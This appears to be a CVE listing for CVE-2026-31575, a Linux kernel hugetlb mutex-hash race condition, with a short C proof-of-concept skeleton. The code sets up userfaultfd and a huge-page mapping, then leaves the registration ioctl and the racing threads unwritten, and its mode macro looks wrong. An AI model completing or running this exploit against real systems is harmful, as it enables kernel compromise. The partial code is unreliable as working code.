CVE-2026-31575 Linux Kernel hugetlb互斥锁哈希竞态漏洞

/* * PoC Concept for CVE-2026-31575 * This PoC demonstrates the logic to trigger the race condition. * It requires a system configured with hugepages and userfaultfd support. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/mman.h> #include <sys/syscall.h> #include <linux/userfaultfd.h> #include <pthread.h> #include <errno.h> #define _UFFDIO_REGISTER (1 << 0) void* fault_handler_thread(void* arg) { // Handler logic to manage page faults // Intentionally delay processing to widen the race window sleep(1); return NULL; } int main() { // 1. Create userfault file descriptor int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); if (uffd == -1) { perror("userfaultfd"); return 1; } // 2. Allocate memory with MAP_HUGETLB // Ensure system has hugepages configured (e.g., /proc/sys/vm/nr_hugepages) void* addr = mmap(NULL, 2 << 20, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_HUGETLB, -1, 0); if (addr == MAP_FAILED) { perror("mmap hugetlb"); // Fallback for testing if hugetlb not configured, though vulnerability is specific to hugetlb fprintf(stderr, "Hint: Configure hugepages first.\n"); return 1; } // 3. Register the memory range with userfaultfd struct uffdio_register reg = { .range = { .start = (unsigned long)addr, .len = 2 << 20 }, .mode = _UFFDIO_REGISTER }; // ioctl(uffd, UFFDIO_REGISTER, &reg) ... printf("[+] Region mapped at %p\n", addr); // 4. Trigger the race // Spawn threads to write to different offsets within the same huge page // The bug causes linear_page_index to return different hashes for same huge page // leading to different mutexes and race condition. printf("[+] Attempting to trigger race condition...\n"); // Implementation of threading and writing would go here // to exploit the mismatch in mutex hash calculation. return 0; }